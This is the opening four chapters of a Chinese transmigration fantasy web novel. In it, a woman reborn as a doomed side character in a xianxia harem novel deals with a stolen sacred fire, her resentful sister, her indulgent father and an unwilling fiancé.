《为了让葬礼热闹》
1. 第 1 章
黎明时分,天边传来一声撼天彻地的巨响。
叶星簌没在意。
她把玩着手中灼灼曳曳的无垢火,琢磨这个没用但危险的玩意儿到底何德何能被尊称一声“圣物”。
不止如此,这东西居然还是《狂道大剑尊》这篇文里引起剧情转折的关键道具。
《狂道大剑尊》是本大男主升级流文,书中的主角从籍籍无名一路成长,降妖伏魔虐渣打脸,再加上后期上古神剑转世的身份揭晓,惊掉六界下巴,从头到尾爽度拉满。
但此时此刻,他只是个修为平平,也没什么存在感的天君六子。
年轻时的聂阳王君和天君义结金兰,数千年战场上交付后背,算得上患难与共的生死兄弟。
某日天君在聂阳王城喝酒,说起小儿子最近心浮气躁,非要挂帅伐魔,一心建功立业。
老父亲愁得要死:“太平盛世非要给老子找事,得给这精力旺盛的小子找点事情做。”
于是天君酒意上头,大手一挥,指着晕头巴脑的叶星簌道:“有了,闲着没事就让他领妹妹玩,小王女就是他未来媳妇了。”
这桩荒唐的婚约就这么莫名其妙地定下了。
虽然聂阳王女叶星簌是最早和大男主扯上关系的人,但却是这本后宫文中唯一一个有点戏份却没被收入后宫的妹子。
原因无他,书里的叶星簌被一剑捅穿了,死得尤其早,早到男主的第一个红颜知己还没出场。
当然,被捅也是自己作的。
男主的成长线有个关键的剧情点——凡世历劫。男主和女配同时历劫,二人便被为求省事的司命星君打包扔进同一个副本。
所有人都以为这只是一场平平无奇的历劫。连天君自己都不当回事,乐呵呵地跟聂阳王君说,等两个小辈回来就让他们完婚。
谁知,女配历个劫却爱上了人间帝王。
历劫归来后,她疯魔一般想要复活心上人,为此盗走九重天的圣物——无垢火。
传言,无垢火是世间至纯的圣火,可令旱苗得雨,枯木逢春,活死人肉白骨。
但传言只是传言。
圣物被盗不是小事。虽说天君大度,权当小辈不懂事,不予追究,但聂阳王君脸上无光,亲自揪着闺女去九重天赔罪。
聂阳王君耳提面命,让她把无垢火还回去,再老老实实认个错,然后安安生生地在家待到出嫁。
结果女配嘴上答应得干脆利落,实则偷偷昧下圣火,在天君大殿更是口出狂言。
女配对她爹的挤眉弄眼视而不见,张口就是请求天君解除婚约,言称自己和人间帝王已经许诺了生生世世。
这番言行,可谓是当着外人的面,一脚踢翻天君和她爹费劲巴拉搭好的台阶。
传言,聂阳王女秉性暴戾,常常仗着高贵的身份草菅人命,不高兴就让身边伺候的人魂飞魄散。看上什么直接抢,仗着聂阳王君和天君的溺爱为非作歹。说好听点也算个仙域名门,但其实跟鬼类魔族一样臭名昭著。
天君强颜欢笑,聂阳王君怒气冲冲,恨不得当着众仙君的面打断她的腿。
男主再没存在感,那也是这四海八荒一人之下万人之上的存在。女配生生甩了天家一个大巴掌,依旧浑然不觉,满脑子都是她的凡人皇帝哥哥。
被她这么一闹腾,这桩婚约自然是成不了。
婚约解除那天,男主还特地来聂阳找她。一是试图让她回心转意,二是奉命取回无垢火。
男主好言相劝,女配却恶语相向。她的心中只觉得她的皇帝哥哥是天上地下顶顶好的男人,其他全都不堪入眼。
她把近日来的烦躁全都发泄在男主身上,专挑戳他心窝子的话讲,什么没用啊、木讷啊、修为平平无奇啊、不受天君重视啊、长得也没她的皇帝哥哥好看啊云云。
男主前期修得一手极好的忍字功,对这些话自然沉默着照单全收。
等她发泄完,男主提起无垢火,女配果然又不干了。
她始终觉得是自己的方式错了才没能复活心上人,霸着无垢火坚决不给。
男主动之以情晓之以理,可女配除了皇帝哥哥其他听不懂,说着说着两个人就吵起来,吵着吵着直接打起来了。
初期的男主自然不是聂阳王女的对手,他在女配暴风骤雨般的攻势下越发招架不住。
盛怒之下,女配差点一剑抹了男主脖子。
见了红,两人才冷静下来。
顶着男主含怒不甘的眼神,女配得意洋洋地拿出无垢火炫耀,但不慎手滑,无垢火掉入人间。
只在一瞬间,冲天大火把人间都城化作火海,无数道死不瞑目的生魂带着滔天怨气向天上狂哮冲喊。
大火以肉眼可见之势向四野蔓延,无数生灵在尚未察觉时便被圣火吞噬,三魂七魄都被烧了个一干二净。上一刻还是祥和宁静的清晏盛世,眨眼就变成了断壁残垣、死尸遍野的阿鼻地狱。
九重天、蓬莱、昆仑、四海……所有仙域几乎在同一时间向天上地下的神仙传讯求助。
鬼族趁乱冲破度朔山门,万鬼出逃;魔族毁掉仙家在各处设的结界,祸乱人间……哪怕是道行低的精怪妖祟也没闲着,人间很快乱成一锅粥。
女配后知后觉,惊慌发现自己已然酿成大错。
人间大劫,单是寻找无垢火的下落就让天君费了好一番功夫,不过这段剧情却催化了男主的血脉觉醒。
他在人间奔走,亲眼看见苍生涂炭,亲耳听到魂骨恸哭,却因能力有限而无法顾全所有人。无垢火连仙魂道骨都能吞噬,累日奔走让他几乎支撑不住,一时不慎,差点被卷入大火,好在被人及时捞了一把,但却是挚友以命换命……
男主在巨大的悲痛和不甘之下觉醒神剑血脉,顺理成章地成为救世主。
无垢火的劫难摆平之后,男主杀入聂阳算账。
彼时的女配已经有些疯魔,只会不断地摇头说:“不是我不是我!”然后痴痴一笑,目光看向天际,喃喃道:“皇上,臣妾好累,好想你……”
男主将她押上九重天问罪。聂阳王女早已成了四海八荒的罪人,所有人都恨不得把她扒皮抽筋、永堕阎罗。
男主当然不会让她好过,在她百日受刑的最后一日,直接用神剑贯穿她的腹腔。神剑之下,三魂七魄都碎成齑粉,绝无一丁点转世的可能……
无垢火的火焰轻轻跃动,至于之后的剧情——
叶星簌只想叹气。
前世的她生活在无秩序乱世,因为飞行器出事才穿了过来。
当时实在无聊,只能用二哥的旧手环看小说。她哥的口味太土了,她挑来挑去,只好挑了这本名字还算正常点的小说来打发时间。
她以一目十行的速度看完,剧情压根不过脑子,若非和女配同名同姓,也不会把这段故事记得这么清。
后面的剧情看是看了,但是具体内容忘个差不多。大概就是女配身死道消,而男主救世有功,又觉醒神剑血脉,天上地下风头无两。
终于翻身当家做主人的大男主一路杀鬼杀魔收拾残局,顺便跟各种类型的漂亮妹子眉来眼去,你亲我一口、我啵你一嘴,然后月黑风高时在这里那里这样那样……
至于结局,自然是男主搂着一堆妹子成功登上天君之位,并且终成一代大剑尊的故事。
“唉……”无垢火静静灼燃,叶星簌犯愁地想,怎么办呢?
无垢火已经到她手里了,马上就是聂阳王君押她去九重天赔罪的剧情。
按理说,把无垢火还回去,从此躲这要命玩意儿远一点,然后别再提什么人间皇帝,估计就能避免嗝屁的结局了。
但……她一时拿不准,万一剧情偏要以她想不到的诡异方式保持主线不变,那该怎么办?
万一她在交还无垢火的时候,手一滑,这玩意儿又掉下去该怎么办?
她可不太信任穿书大神。
意外一定会发生,毕竟这场人间大劫是男主血脉觉醒的关键。
但想了半天,想不明白,叶星簌放弃了。
算算日子,距离她嗝屁似乎没多长时间了。有什么能保证她一定活下来的方法吗?
死乞白赖地去抱男主的大腿?
不行,男主光环固然令人眼红,但演戏她不擅长啊。万一男主的神剑属性没觉醒,种马属性却先觉醒那才不妙,她才不愿意跟一个烂黄瓜这样那样。即使他现在还是一根挺水灵的黄瓜……
或者,支楞起来逆天改命?管他什么大男主
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,什么原著剧情,什么炮灰NPC,干脆把男主从主角位置上踹下去得了,她去杀杀杀,杀鬼杀魔,跟妹子眉来眼去……
也划不来,叶星簌想,打打杀杀比演戏还累,时不时溅一身血也很埋汰。
算了,思考也很累,死就死吧。
她本来就是已死之人,无论之后的剧情如何改变,叶星簌的心中都没太大波动。在该下线的时候下线,兢兢业业地为男主角的登顶之路添砖加瓦,这才是一个炮灰女配该有的宿命。
就当是飞行器坠海之后的一场梦,老天善心大发,给她一段声临其境的VR体验。
“轰——”
天边又传来一声巨响,彻底打断她的思绪。
叶星簌蹙眉走到窗边,朝响声传来的方向看去。
仙境也有拆迁办吗?一大早都响两次了。
正巧几个仙侍踩着晨光进入院内,各自提着洒扫用的工具,几个脑袋凑在一起嘀嘀咕咕。
叶星簌敲敲窗格。
仙侍们闻声看过来,然后齐刷刷露出一副撞鬼的表情,浑身抖得不像样。
叶星簌:“……”
她这名声可真够糟的。
也没心情说什么安慰话,直奔主题:“刚刚那是什么声音?出什么事了?”
其中一个仙侍噗通跪下,战战兢兢道:“回、回小王女,今早,小玄山那边传来消息,说是登仙梯塌了。”
哦。
登仙梯塌了啊……
叶星簌不甚在意。
登仙梯跟原书剧情没关系……
小仙侍继续说:“登仙梯与无垢火同生,如今仙梯坍塌,想来一定是无垢火出了问题……王君一大早便领人前去查探了。”
叶星簌:“?”
她不可思议地看向桌子上的无垢火。
小火苗正蹦蹦跳跳,看起来心情还不错。
但叶星簌的心情就很微妙了。
有些人活着,但已经死了。
说的就是她。
两年前,登仙梯毫无预兆地冒了出来,长阶模样,从小玄山的峰顶直直通往九重天。
这古怪玩意儿乍一看唬人,但断断续续有传言说,此梯乃神意显灵,或许是神仙普济惠世,也或许是天道为有缘人搭就的一条通天路。
然而,两年来不停地有修道者前来,却无一人能踩上仙梯半步。
登仙梯的周身长日不息地燃着银白色的火焰,被人唤作“无垢火”。
无垢火如同有灵,一旦有人靠近,便会凶悍地烧起来逼退来者。
凡人倒也罢了,如今这世道,修道者越来越少,能感知登仙梯存在的已是其中为数不多的佼佼者。只是不少精怪小妖修炼几百、几千年未得大造化,心急之下就病急乱投医,寄希望于天意点化。
因此,相比于谨慎的凡人,乌泱乌泱过来走捷径的小妖小怪才最棘手。镇守此地的仙君每每向九重天述职时,光是清算伤亡情况就得花费不少功夫。
拦不住非要找死的,仙家只好从根源下手。然而,登仙梯如同在小玄山扎了根,毁不掉、收不了,千方百计用尽,最后差点折损一位仙君,却也只是收了无垢火。
不过好在勉强减少了伤亡。
叶星簌头疼地想,虽然不知道这个原著里压根没出现过的梯子到底是怎么回事,也不知道为什么剧情这么早就变了,更不知道无垢火怎么又跟登仙梯扯上关系……
但这些都不重要!
重要的是,登仙梯掉下去和无垢火掉下去有区别吗?
没有。
无垢火烧死人,登仙梯砸死人。
殊途同归。
好嘛,她好像要比原主死得更快了。
仙侍们面面相觑,摸不准小主人是什么意思。叶星簌手一挥,放她们干活去了。
前世死得太不体面,救援队把她从海里捞上来估计全身都泡发了吧?或者压根死不见尸,要么被异化物撕碎、要么直接喂鱼……
叶星簌重新坐回桌前,开始思考另一个重要的问题:
既然嗝屁的剧情是命中注定的,那么——
她能换个痛快点的死法吗?
百日受刑然后一剑穿透前胸后背,想想都痛苦。
2. 第 2 章
如果真是按照原著的死法下线,那她真是前世今生连个收尸的人都没有。
多少有点惨。
叶星簌稍微可怜了一下自己,然后披衣出门。
也不知道仙梯坍塌殃及多少无辜黎庶。
谁能想到,堂堂圣火连个凡夫俗子都救不了,却能平白惹来一堆灾祸。
“王女留步。”一道清瘦的身影出现在门口。
来人声音沙哑粗沉,以银制面具挡着下半张脸,露出一双空洞的眼睛。
这是叶星簌的贴身仙侍白霓。
这些年来,院里的侍女们隔几天换一茬,白霓却是唯一留下的人。
叶星簌微微扬眉:“?”
拦着她是个什么意思?
白霓像极了一个毫无感情的机器人,声调连一丝起伏都没有,“王上今早特地交代,九重天传来消息,天君已经查出是您盗走了无垢火。还请小王女在王上回来之前,切勿轻举妄动。”
她嘴里的王上就是聂阳王君。
不让出去就不出去,叶星簌很好说话地折回屋。
想想原著中的聂阳王君和天君,两个都是了不起的大人物,结果一遇到女配就跟降智一样,百般溺爱,底线一退再退。
也不知道聂阳王君这次打算怎么善后。
叶星簌的一条腿刚迈入房间,突然感觉脚腕一紧,锥心的刺痛一下子抽干她所有的力气,整个人直接从台阶上滚了下去。
白霓没料到有人胆大包天到在王女的院中偷袭,反应过来时眉眼一凛,抽出佩剑毫不犹豫地向门口那道素白的身影刺去。所有动作几乎在同一时间发生。
“住手!”叶星簌及时开口。
白霓的剑尖距离白衣女子的颈间皮肉只差毫厘,剑风掀起她鬓边的碎发。
叶星簌艰难起身。
她对上白衣女子愤恨的目光,话却是对白霓说的:“白霓,把剑收了,你想死不成?以大王女的身手,杀你不在话下。”
来人正是聂阳王君的大女儿、叶星簌的姐姐,叶珍钰。
原书里,叶珍钰并没有什么存在感,只在提起叶星簌时随笔带过一两句,起到一个对比的作用。
叶星簌名声极烂,叶珍钰却美名远扬。后者性子清冷却素来积善行德,常年在人间游历,一心向民。叶珍钰天赋异禀但依然刻苦努力,人缘也好。平日里,若是九重天和昆仑有仙娥设宴,必是要下帖邀她前去。
原书提起她,大概只是为了衬托女配在聂阳王君心中的地位。
谁知道聂阳王君哪根筋搭不对,不喜欢各方面都优秀的大女儿,偏偏对混世魔王小女儿青睐有加。
叶珍钰为了得到父亲的一句夸赞日夜修习,叶星簌什么都不做却能轻而易举地得到一切。
是挺不公平的。
白霓的剑还指着叶珍钰的脖子。
叶星簌扶着柱子站定,瞥向火辣辣发疼的脚腕,滋滋冒着电光的长鞭正像毒蛇一样死死地缠住她。
叶珍钰对颈边的利刃视而不见,也懒得理会这个胆大包天的侍女,握着长鞭的手收紧,只冷眼睨着妹妹:“你这个混账!”
她突然用力,叶星簌身子一歪,慌忙靠着柱子才没让自己摔倒。
长鞭的神力附在皮肤上,如同群蚁啃噬,她下意识地挣扎,鞭子就勒得更深了,似乎要把她的脚腕拧断。
叶星簌皱眉:“阿姐,好疼,能不能先收了鞭子?”
叶珍钰不为所动。
“白霓,把剑收了,退下。”她只好唤另一个人。
白霓犹豫:“可她想伤您。”
白霓不同于其他下人,她是聂阳王君在战场上捡回来的妖族孤女,只听命于主君一人。
叶星簌道:“她是我姐姐。”
闻言,叶珍钰冷冷一笑:“这两个字从你嘴里说出来真恶心。”
白霓最终还是面色不善地收起剑,疾步过来搀扶小主人。
叶珍钰冷哼,手一甩,长鞭消失了。
脚腕上的束缚没了,叶星簌终于松了一口气。
不待她缓口气,叶珍钰大步过来揪住她的领子,怒道:“我今早练剑回来,正巧遇见九重天的仙君。说,无垢火当真是你偷的?!”
这事是瞒不住的,叶星簌无奈地“嗯”了一声。
“你——”叶珍钰怒极,扬起手臂。
眼看这一巴掌就要结结实实地落在叶星簌的脸上,白霓护主心切,又要提剑冲过来。
叶珍钰看也不看,直接握着长鞭甩过去,一击把白霓掀出很远,“你算个什么东西,滚!”
可白霓是个死轴死轴的性子,哪怕落伤也闷声不响地迅速撑剑爬起来,一副要再次冲过来的架势。眼看这两位就要打起来,叶星簌连忙出声:“白霓,你先下去。”
白霓一顿,有些着急:“王女……”
叶星簌的声音冷肃几分:“我说下去。”
“是。”白霓终于低下头,收剑入鞘,离开时目光仍紧紧粘在叶珍钰身上。
叶珍钰凉薄冷笑:“父亲倒是给你找了一条很忠心的狗。”
叶星簌识趣地没接话,现在说什么都是火上浇油。
待院子里的人都离开,叶珍钰将叶星簌狠狠朝地上一掼,长鞭指在她的脸上。
“平日里苛待下人不说,如今竟然还能干出来偷圣物的事!叶星簌我告诉你,若非有父亲兜底,你早就死一万次了!你知不知道今早发生了什么?!登仙梯塌了!!!”
叶星簌垂下眸子,撑在地上的手指微微收紧。
她知道,当然知道。
所以从听见巨响到现在,她都不敢相信那是真的。原书里从来没提过这一茬,但那些关于无垢火坠入人间的描述历历在目。
她知道叶珍钰在意的是什么,天下百姓。
那些手无缚鸡之力、本该由神仙庇佑的普通人。
他们犯了什么错?
叶星簌一声不吭,叶珍钰气得浑身发抖。
“我再问你,”叶珍钰眼底尽是无法掩饰的失望和凉薄,开口有些不忍:“昨日那个被剥了皮的侍女,可是从你院子里抬出去的?她是不是因你而死?”
脑海中浮现一个瘦弱的身躯。她尖声哭叫着,满脸惊惧,用尽所有力气扑过来求饶……
她比叶珍钰更清楚地知道那个侍女血肉模糊、可见白骨的惨状,叶星簌抿唇,“……是。”
叶珍钰气得眼眶泛红,声音也是颤抖的,“叶星簌,你这里到底是仙域府邸还是十八层地狱?”
叶珍钰咬牙斥问:“为什么?”
叶星簌挣扎了一下,轻道:“阿姐,不是我。”
叶珍钰冷笑:“有区别吗?这些年你身边的侍女换了一茬又一茬,是你还是父亲有何区别,不全是根由在你?”
叶星簌无言。
叶珍钰按了按眼角,疲惫问道:“敢问小王女,她到底犯了什么错?还有,就算她罪大恶极,又有哪条天规戒律准你动私刑、准你随便把人扒皮堕仙?”
叶星簌:“……”
叶珍钰有些崩溃:“父亲竟随意给她安了个不敬王女的罪名,为了护着你,荒唐至极!”
叶星簌突然感觉很累。
原著的主线剧情才刚刚开始,各种糟心事便纷至沓来,她有些招架不住。
“阿姐,”叶星簌声音疲惫道,“人间怎么样了?”
叶珍钰深吸一口气,虽然不想理会她,但依旧一五一十地说:“人间的情况尚且不知,父亲带领众仙在第一时间去查探了。”
“倘若……”叶珍钰道,“倘若你当真酿成大错,就算有父亲袒护,我也一定会让你付出代价!这一次,我会亲自押你去九重天。父亲不杀你,我来杀。”
叶星簌苦笑一声。
“你们这是在干什么!”一道深沉浑厚的声音突然传来,叶珍钰脸色一变。
是聂阳王君回来了。
势不可挡的劲风忽地袭来,“啪!”一道清脆的耳光声,响在咫尺。
叶珍钰被打得一偏头,趔趄几步差点没站稳。
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叶星簌的瞳孔猛地一颤。所有的动作发生得太过突然,从她的方向仰头看去,叶珍钰一改方才气势逼人的模样,似乎也将将反应过来,缓缓抬手捂住脸,鬓发凌乱。
青竹般的身躯,显出几分可怜……
沉重的脚步声越来越近,一道阴影覆下,结结实实地挡住日光。
叶星簌下意识抬起头——
聂阳王君眉目冷肃,一双浓重的黑眸看不出丁点情绪。他一副年逾半百的长相,腰背伟岸,负手逆光而立,压迫感十足。这样的人,浑身难掩肃然威压,谁见了他都大气不敢喘,仿佛曾经名震八荒的战神授封大典仍在眼前。
王君身后跟着几个随侍,最后面的人是白霓。
“大清早的来你妹妹院里闹腾什么?”聂阳王君沉着脸,不满地看向大女儿,“钰儿,你不待在自己院里修炼,跑来欺负妹妹成何体统!”
叶珍钰捂着脸,百口莫辩:“父亲,我……”
聂阳王君不耐地收回视线。
叶珍钰顾不上脸上的伤痛,慌忙上前两步行礼,急急道:“对了父亲,人间伤亡如何?”
聂阳王君没理会她,反倒冷眼看向身后:“愣着干什么,还不赶紧把你主子扶起来。”
白霓慌忙跑过来搀扶叶星簌。
聂阳王君意味不明的视线凝视着她,温声道:“簌儿这是吓傻了,怎么连爹也不叫了?”
叶星簌挣扎片刻,“……父亲。”
她叫了人,聂阳王君的眼角才溢出一丝笑意。
这点笑意没有逃过叶珍钰的眼睛。
她不可思议地看着聂阳王君的面容。父亲从来没对她笑过一次,哪怕是这种几不可察的笑,从来没有。
聂阳王君踱步上前,慈爱地揉了揉叶星簌的发顶:“登仙梯的动静不小,簌儿可是被吓到了?”
叶星簌僵硬道:“没有。”
叶珍钰像是变成了一个局外人,被打的一侧脸只剩麻木。片刻后,她强迫自己移开视线,然后像往常一样低头看着自己的脚尖。
那边,聂阳王君还在安慰小女儿:“登仙梯坍塌只是意外,动静大,但好在并未伤及凡人。簌儿且当听见了雷声,聒噪点罢了,莫怕。”
叶星簌意外:“没有伤到人?”
“自然没有,”聂阳王君缓缓道,“登仙梯在小玄山上,小玄山又位处人间和魔域的交界之地。仙梯正巧全都塌在了魔族荒城里。反正是些魔物渣滓,死了便死了,天君不会追究的。”
叶星簌没想到剧情还能这么发展,一愣:“魔域?”
“梯身全都掉进了枯邕城,”聂阳王君道,“那是魔域的一座边陲小城。”
叶星簌顿时松了一口气,差点以为自己要重蹈原书女配的覆辙,还好没有变成为祸人间的大罪人。
“吾儿仍然愁眉不展,可是担心无垢火?”聂阳王君慈爱问道。
叶星簌点头。
聂阳王君一声笑叹:“若不是天君来信,为父还不知道你竟跟幼时一样顽皮。簌儿且宽心,万事有为父在。”
顽皮?
叶珍钰终于忍不住出声,道:“父亲!叶星簌胡闹不是一天两天了,盗走九重天的圣物不是小事,她还险些酿成大错,您……”
叶珍钰陡然息声。
因为她径直撞上聂阳王君冷漠不耐的眼神。
叶珍钰心头一跳,怯怯道:“父亲……”
“区区无垢火而已,不过是簌儿一时贪玩好奇,明日本王带她去九重天还回去便是。”聂阳王君面对大女儿时,像是完全变了一个人,声音和表情都是陌生的,“倒是你,年长簌儿千余岁却还是一副沉不住气的性子,这些年都学了些什么?自今日起,莫再踏入簌儿院里半步,本王会命人看着你,好好学学规矩。”
聂阳王君不怒自威,分明也没多严肃的语气,这番话却如同在叶珍钰头顶响起晴天霹雳。
叶珍钰察觉到妹妹的视线看了过来,于是固执又嫌恶地偏开头,死死咬唇,轻声道:“是……”
3. 第 3 章
直到叶珍钰落寞离去的背影消失不见,叶星簌才移开视线。
聂阳王君的大掌还轻轻覆在她的脑后,掌心中传来温热的暖意。
正如原书剧情那样,聂阳王君对于女儿盗走无垢火一事并未动怒,只是细细叮嘱,要她明日见了天君好好认错。
聂阳王君笑容和蔼,“天君宠你,自然不会怪罪,簌儿不必担心。”
叶星簌老老实实地“嗯”了一声。
聂阳王君又道:“只是这种事莫要再做第二次,吾儿金枝玉叶,身份尊贵,想要什么说一声便是。无论是无垢火,还是其他奇珍异宝,为父都会为你寻来。”
叶星簌讷讷道:“……不会有下次了。”
聂阳王君欣慰笑道:“知错就改,真乖,为父一直都知道簌儿是好孩子。”
叮嘱的话说完,聂阳王君俯下身,伸手轻轻碰了碰她的脚腕。皓白皮肤上,青紫狰狞的勒痕格外刺眼,好在没有出血。
聂阳王君冷声道:“你阿姐这些年真是虚长年岁,行事如此随心所欲!”
叶星簌站着没动,解释道:“阿姐只是着急罢了。”
聂阳王君叹气:“可有伤着其他地方?”
叶星簌摇头:“没有了。”
“一会儿让侍女及时上药,然后早些休息,明日一早,随为父去九重天。”
“嗯。”
聂阳王君离开后,叶星簌躺在床上枕臂思考人生,白霓在床尾为她上药。
明天……
明天也不知道能不能见到六殿下。
对了,九重天六殿下名叫明鹤璋,就是原书男主,天君那个可有可无的小儿子,也是她的未婚夫。
如果按照原书的走向,那叶星簌不担心,原书这一段的剧情中没有他的事,除了女配发疯还是女配发疯。
但现在不同的是,登仙梯这个莫名蹦出来的玩意儿突然加了一段戏,剧情似乎有些不一样了……
算了,叶星簌又不想思考了。
顺其自然吧。
反正她已经做好了最坏的打算,不就是死吗?她又不是没死过。
至于明鹤璋,还有两个人身上的婚约……叶星簌有点茫然。明天去了九重天,人间皇帝什么的肯定不能大大咧咧讲出来,再说,那是书里女配深爱的人,跟她可没关系。
要不,就老老实实等着出嫁算了?安分一点躲过生死劫,然后跟男主做一对举案齐眉的夫妻,成亲之后她就自觉地隐身当透明人,不去打扰男主收妹子。
可是怎么想都觉得太憋屈,得过且过也不是这么个过法。
“嘶——”出神中,脚腕突然被药粉狠狠蜇了一下。
白霓“噗通”一声跪下:“属下有罪!”
叶星簌摆摆手:“一点小事犯不着,继续上药吧。”
白霓:“多谢王女。”
重新开始上药,白霓的力气明显轻了很多。
被这么一打岔,叶星簌也忘记自己刚刚想到哪儿了。
桌上的无垢火仍悬在空中蹦蹦跳跳,叶星簌的目光移向它——无垢火这不是好好的吗,但登仙梯怎么就突然塌了呢?
叶星簌问:“白霓,之前九重天的人是怎么收伏无垢火的?”
白霓回忆片刻,一五一十道:“回王女,是真霄道君用乾坤珠收回去的。”
当年,登仙梯与无垢火横空出世,即便是见多识广的九重天众仙也觉得非同寻常。
为此前赴后继来寻找机缘的凡人和妖怪死伤无数,若是任其继续流落民间,恐怕会招来更大的祸端。然而列仙用尽千方百计,登仙梯依然纹丝不动地立在那里,众仙商议,只好先把来一个烧死一个的无垢火给处理了。
结果不尽如人意,虽然成功收火,但负责此事的真霄道君险些出事。
无垢火实在是过于凶悍,在九重天也嚣张地追着各路神仙烧胡子燎道袍。真霄道君只好请出神器乾坤珠收镇。
乾坤珠长得跟个夜明珠似的,看着平平无奇,实则却是降妖伏魔的无上神器。
因为它内里之大可包罗万象,亦能同时禁锢数十道生魂。无论是魔族还是仙家,永世不得脱逃。
无垢火待在乾坤珠里两年多天下太平,但前脚刚被偷出来,后脚多少神仙都奈何不了的登仙梯说塌就塌。
这两件事之间不可能没关系,只是九重天列仙说不出个所以然来,叶星簌更是想不明白。
保险起见,还是把它关着最安全。
她抬起一只手,无垢火缓缓地飘过来,悄无声息地隐匿于她的掌心。
她并不打算按照原著剧情走下去。
她也不是当演员的料。
并且,那样也很麻烦。
叶星簌不怕死,也可以坦然接受死亡,但还没丧心病狂到把人间无数百姓的此生来世当成她主动找死的代价。
明天,她会将这烫手山芋还回去。
……
次日一早,聂阳王君就领着浩浩荡荡的仙侍来到她的院子里。
衣服首饰琳琅满目,叶星簌的睡意没散干净,没多久就看花眼了。她索性不挑也不管了,直接昏昏沉沉地往梳妆镜前一坐,任由仙侍在她脸上捯饬。
只是,梳妆的仙侍大气也不敢出,屋子静得叶星簌自己都尴尬。
安静得她瞌睡都没了。
她一抬眼,吓得正在描眉的仙侍双手一抖,倒吸一口凉气重重跪下,她刚跪,其他几个人不明所以但都浑身抖了抖,齐刷刷跟着跪一地。
叶星簌:“……”
这场面,昨天早上见过。
“怎么了?”她叹道。
侍女嗫嚅道:“王、王女……”
显然,最先跪下来的仙侍也不知道发生了什么。她只知道小王女冷冷瞧过来一眼,然后她就条件反射地跪了。
“都起来,继续做事吧。”叶星簌道。
她突然想起来缘由了。
昨天叶珍钰来找她算账时,提到了那个被活生生剥了全身皮的可怜侍女。
那个侍女被抬出去的时候还在凄厉惨叫,后来聂阳王君听着嫌烦,直接叫人割了她的舌头。
这事没避着任何人。
本来她就有草菅人命的传闻,如今下人们又亲眼看到那个侍女的惨状,傻子伺候她时才不害怕。
叶星簌更头疼了。
房间里又恢复安静,叶星簌吸取教训,没敢让眼神随意乱飘,努力不与仙侍们对视。好不容易梳完妆,仙侍们逃命般离开了,叶星簌自己也终于松口气,保持姿势不动是件很累的事情,脖子都僵了。
叶星簌拖着一身累赘似的打扮出门,聂阳王君看见她,甚是慈爱:“吾儿今日甚是美丽。”
要去九重天参见天君,聂阳王君也换了身更加庄重的行头,肩头的孔雀翎映着流光溢彩。老男人本来就长得丰神俊朗,衣裳一衬更显超凡脱俗。
叶星簌随口道:“父亲今日也很精神。”
她其实很不理解,穿这么花哨去认错请罪,好像不太合适吧?
女儿的一句夸,让聂阳王君心情
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大好。
父女二人一同前往九重天。
聂阳王君是九重天的常客,而且还是王君的挚友。引路的仙娥直接把他们带去天君大殿,叶星簌悬了一路的小心脏终于在踏入殿内时放了下来——真好,这里除了天君,没别人了。
剧情似乎又不一样了。原书里这段,女配明明是当着一众仙君的面嚷嚷自己移情别恋了。
结果偌大的殿堂,怎么就天君自己在?
不过反正剧情已经有点想崩的样子了,刚好她也不想成为众矢之的,不喜欢被一堆人用各种目光打量探究。
大殿金座之上,一道含笑的声音传来:“许久不见,小王女似乎清减不少。”
说话的人,便是如今天上地下最尊贵的天君。
叶星簌立即行礼:“聂阳叶星簌参见天君。”
“免礼免礼。”天君身形如影,从金座之上出现在她的面前,笑吟吟地伸手虚扶了一把,“簌儿自打历劫回来就没来过九重天一次,怎地,是不是那小子惹你生气了?无妨,有什么委屈尽管说,本君一定为你主持公道。”
叶星簌尴尬极了:“没有……”
天君的热情让她有些招架不住,好在聂阳王君及时开口:“天君,臣父女二人今日前来是为无垢火一事赔罪,小王教女无方,这孽障差点酿成大错。”
叶星簌低下头。
天君听完,哈哈一笑:“行了,你可别装模作样了。倘若本君真要罚你的宝贝闺女,你不得把我天君大殿拆了?”
聂阳王君拱手道:“臣不敢。”
天君轻转手腕,掌心出现一个夜明珠似的玩意儿。
叶星簌一愣,意识到这便是乾坤珠。
她立即催气入体,把无垢火引了出来,恭恭敬敬地双手呈奉:“天君,臣女盗走无垢火险些使人间百姓遭难,父亲为我开脱,可臣女自知罪大恶极……”
“欸,”天君打断她的话,饶有兴趣道:“你这小丫头以前还会卖乖撒娇,如今怎么跟你爹一板一眼的德性一个样?再说,你何罪之有啊?登仙梯全都掉在了魔域,人间连个响都没听到。”
叶星簌:“可……”
天君道:“喏,这个送给你。”
天君不仅没接无垢火,反倒一挥手,把乾坤珠送到她眼前。
“既然簌儿喜欢,拿去玩便是,只是此火凶悍,得用乾坤珠妥善收着。”
叶星簌一愣,这是什么展开?
难道书里的人都不知道无垢火的危险吗?
“天君!”叶星簌急道,“此乃圣物,臣女不敢。”
“四海八荒的古怪物什不在少数,圣物不过虚名,总该能为世所用,才当得起圣物之名。
“况且,这九重天列仙愚钝,参不透无垢火其中奥妙。经此一事,本君倒觉得小王女或许是它的缘法。”
天君不甚在意地摸了摸下巴,又自顾自说起另外一件事:“对了,先前你同鹤璋去人间历劫,本君便和你父亲说好了,等你们回来就筹办婚事。谁料那小子没用得很,渡劫之后伤了心脉,养到现在……如今他恢复得差不多,婚事也该提上日程了。”
偷火的事这就翻篇了?
剧情变成了脱缰的野马,以她想象不到方式乱窜。
天君话音一转就把问罪诘责变成牵线搭桥,叶星簌还没反应过来:“这个……”
她正想说,婚事不急。
“呵,”一道稳重深沉的声音传入大殿,有人迈步而来,语气冷漠嫌弃,带着些微回声:“谁要娶她!”
4. 第 4 章
大殿内的三个人闻声回头。
大殿外,一个身形笔挺的青年跨步带风而来,他一手搭在剑柄上,一手垂在身侧攥成拳。他眉眼沉毅,五官英朗,目光率先对上叶星簌,眉毛狠狠一拧。
这人便是《狂道大剑尊》的男主角,明鹤璋。
天君以为自己听错了,“小六方才说什么?”
明鹤璋行过礼,开门见山:“父君,儿子不愿娶她。”
两个长辈都愣住了。
天君咳了一声,“鹤璋啊……”
明鹤璋微一侧首,冷寒的目光对上叶星簌不明所以的双眸,嘲讽一笑:“父君可知,聂阳王女为何盗走无垢火?”
天君疑惑的视线在自家幺儿和叶星簌身上扫了一圈。
聂阳王君没说话,冷然负手而立,面色不善地睨着这个毛头小子。
天君收回视线,好笑道:“不就是簌儿一时好奇,犯了孩子心性吗?那无垢火烧起来挺好看,你姑姑姐姐们也喜欢。前不久你六姑姑还去找过真霄,原本打算取火炼灯,可惜也被追着烧,把她吓坏了。”
